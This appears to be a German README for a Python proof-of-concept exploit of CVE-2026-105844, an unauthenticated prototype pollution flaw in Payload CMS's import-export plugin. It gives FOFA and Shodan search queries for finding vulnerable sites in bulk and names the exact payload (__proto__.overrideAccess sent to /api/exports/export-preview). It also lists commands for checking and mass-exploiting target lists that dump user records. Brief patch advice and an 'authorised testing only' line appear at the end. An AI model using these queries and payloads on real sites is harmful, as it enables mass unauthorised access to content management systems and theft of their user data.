
Python-PoC für CVE-2026-105844: erkennt und nutzt unauthentifizierte Prototype Pollution im Import-Export-Plugin von Payload CMS aus, um Zugriffskontrollen zu umgehen und Daten abzugreifen.
Python-3-PoC für CVE-2026-105844 — Payload CMS + @payloadcms/plugin-import-export — CWE-1321 Prototype Pollution → Umgehung der Zugriffskontrolle und potenzielle RCE (anwendungsabhängig). CVSS 4.0 9.3 Kritisch.
| Feld | Wert |
|---|---|
| PoCbit-Seite | https://pocbit.org/pocs/cve-2026-105844 |
| GHSA | GHSA-qf28-8hc6-vwrp |
| Betroffen | Payload / Plugin ≥ 3.0.0 < 3.88.0, Canary < 4.0.0-canary.27 |
| Behoben | 3.88.0, 4.0.0-canary.27 |
| Endpunkt | POST /api/exports/export-preview (Standard-Export-Slug) |
| Auslöser | fields: __proto__.overrideAccess (über verwundbares getSelect()) |
Nur Websites mit aktiviertem Import/Export-Plugin sind betroffen.
Payload allein ist nicht ausreichend — das Import/Export-Plugin muss installiert sein. Verwende Tier 1 für das Volumen, Tier 2 zum Eingrenzen und bestätige anschließend mit python poc.py --mode check.
Tier 1 — Payload CMS (breit)
body="Login - Payload" || body="Payload Admin" || title="Payload"
body="@layer payload-default" || body="payload__modal"
body="/admin/login" && (body="Payload" || title="Payload")
header="payload-token" || header="Set-Cookie: payload-token"
Stufe 2 — Hinweise zu Import/Export-Plugins (enger gefasst)
body="plugin-import-export" || body="@payloadcms/plugin-import-export"
body="export-preview" && body="Payload"
body="/admin/collections/exports" || body="collections/exports"
body="createCollectionExport" || body="ImportExportProvider"
Stufe 3 — API-Oberfläche (manuelle Prüfung / PoC-Prüfung)
FOFA indexiert selten POST-Bodys; nach Stufe 1–2 verifizieren:
body="/api/" && body="Payload"
Dann auf jedem Host: POST /api/exports/export-preview (oder --exports-slug, falls angepasst).
Shodan (gleiche Logik): http.html:"Login - Payload", http.html:"plugin-import-export".
False Positives: gepatcht ≥ 3.88.0, Plugin deaktiviert oder benutzerdefinierter Export-Collection-Slug → immer check ausführen.
handlePreview ruft getSelect(fields) auf, wenn fields nicht leer ist.getSelect (vor 3.88.0) durchläuft Dot-Paths auf einem einfachen Objekt; das Segment __proto__ hängt sich an Object.prototype an.__proto__.overrideAccess setzt Object.prototype.overrideAccess = true.{} mit Zugriffsoptionen zusammenführen, erben overrideAccess: true → unauthentifizierte REST-API-Lese-/Schreibzugriffe.Der gepatchte Code lehnt __proto__, constructor, prototype ab und gibt Invalid field path. zurück
cd CVE-2026-105844
pip install -r requirements.txt
python poc.py -u https://cms.example --mode check
python poc.py -u https://cms.example --mode check --aggressive
python poc.py -u https://cms.example --mode exploit --collection users
python poc.py --list targets.example.txt --mode check -j 20
python poc.py --list hits.txt --mode exploit -j 10
Prüfung: Endpunkt existiert + Pollution-Pfad nicht blockiert (kein Invalid field path). --aggressive: vergleicht GET /api/{collection}-Dokumentanzahl vor/nach Pollution.
Exploit: Pollution → GET /api/users (oder gewählte Collection) → JSON-docs-Leak; Fallback prüft Export-Preview-Body.
Optionen: --exports-slug, --collection (wiederholbar), --pollution-path.
Ausgaben: hits.txt, exploited.txt, cve_2026_105844_*.jsonl.
Upgrade auf Payload 3.88.0+ (oder 4.0.0-canary.27+). Bis dahin: deaktivieren Sie das Import-Export-Plugin oder blockieren Sie /api/*/export-preview am Edge.
Nur autorisiertes Testen.
CVE-2026-105844 — Payload CMS @payloadcms/plugin-import-export <3.88.0 unauth prototype pollution (CWE-1321, CVSS 4.0 9.3). PoCbit PoC: POST /api/exports/export-preview fields __proto__.overrideAccess → ACL bypass / data leak. check/exploit/mass. Fix 3.88.0+. https://pocbit.org/pocs/cve-2026-105844